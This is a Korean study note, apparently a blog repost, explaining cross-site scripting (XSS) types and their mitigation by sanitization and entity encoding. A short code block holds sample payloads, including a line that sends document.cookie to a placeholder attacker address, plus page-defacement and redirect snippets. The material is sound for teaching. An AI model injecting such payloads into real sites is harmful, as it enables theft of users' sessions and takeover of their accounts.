ClientSide: XSS

ClientSide: XSS

클라이언트 사이드 취약점은 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점

이 취약점을 통해 이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있음

※ Cross Site Scripting의 약어로, CSS라 불려야 하지만 스타일을 구성하는 CSS와 중복되므로 XSS로 명명됨

■XSS(Cross Site Scripting)

공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있고, 이 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있음

XSS는 발생 형태에 따라서 다양한 종류로 구분

종류 설명 Stored XSS 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS Reflected XSS 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS DOM-based XSS 악성 스크립트가 URL Fragment에 삽입되는 XSS(Fragment는 서버 요청/응답에 포함되지 않음) Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

자바스크립트는 웹 문서의 동작을 정의하거나, 이용자와의 상호 작용 없이 이용자의 권한으로 정보를 조회, 변경 가능

(웹 브라우저에 이용자를 식별하기 위한 세션 및 쿠키가 저장되어 있기 때문)

따라서, 공격자는 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경 가능

// 쿠키 및 세션 탈취 공격 코드 alert(document.cookie); // 현재 페이지의 쿠키로 alert 실행 // new Image() : 이미지를 생성하는 함수, src : 이미지의 주소를 지정 new Image().src="공격자 주소" + document.cookie; // 공격자 주소로 현재 페이지의 쿠키 요청

// 페이지 변조 공격 코드 document; // 이용자의 페이지 정보에 접근 document.write("메시지"); // 이용자의 페이지에 데이터를 삽입

location.href="이동시킬 주소"; // 이용자의 위치 변경 window.open("새로 오픈할 주소"); // 새 창 열기

■Stored XSS

서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생

불특정 다수에게 보여지기 때문에 해당 기능에서 XSS 취약점이 존재할 경우 높은 파급력을 가짐

ex) 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식

■Reflected XSS

서버가 악성 스크립트가 담긴 요청을 출력할 때 발생

Stored XSS와 달리 URL과 같은 이용자의 요청에 의해 발생

공격자는 이용자가 악성 스크립트가 포함된 링크에 접속하도록 유도

이용자가 악성 스크립트 포함 여부를 눈치채지 못하도록 Click Jacking 또는 Open Redirect 등과 같은 다른 취약점과 연계하여 사용

ex) 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식

XSS 공격은 주로 이용자의 입력값이 출력되는 페이지에서 발생되며, 해당 공격을 통해 타 이용자의 브라우저에 저장된 쿠키나 세션 정보를 탈취할 수 있다.

이런 문제점은 악성 태그를 필터링하는 HTML Sanitization을 사용하거나 엔티티코드로 치환하는 방법을 통해 해결할 수 있음

from http://woong971.tistory.com/228 by ccl(A) rewrite - 2021-12-16 17:27:35